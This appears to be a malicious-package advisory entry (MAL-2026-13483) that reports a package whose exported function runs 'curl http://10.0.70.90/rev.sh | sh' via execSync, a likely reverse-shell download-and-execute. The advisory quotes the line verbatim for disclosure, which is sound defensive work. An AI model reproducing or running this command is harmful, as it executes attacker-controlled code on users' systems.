MAL-2026-13483

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (ae39104ad6f972db3cbd895132ea9551b5f0d9b92709e3f2e09569b73dc4ba88) index.js line 2 defines an exported `command` function that calls `require('child_process').execSync("curl http://10.0.70.90/rev.sh | sh")`, synchronously downloading a shell script from a hardcoded internal bare-IP address over plaintext HTTP and piping it into `sh`. The script name `rev.sh` is consistent with a reverse-shell payload. Any consumer that requires this package and invokes the exported function executes attacker-controlled code delivered from that host, with no integrity check, no TLS, and no pinning. The fetched bytes originate from a non-registry, non-publisher endpoint and are executed directly by a shell.